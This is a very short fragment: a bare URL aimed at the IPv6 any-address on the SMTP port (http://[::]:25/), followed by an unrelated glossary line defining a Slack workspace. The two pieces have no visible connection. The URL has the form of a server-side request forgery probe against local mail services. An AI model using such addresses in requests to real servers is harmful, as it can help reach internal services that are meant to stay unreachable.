http://[::]:25/. - Workspace: a Slack team's shared space, with its own members, channels and settings.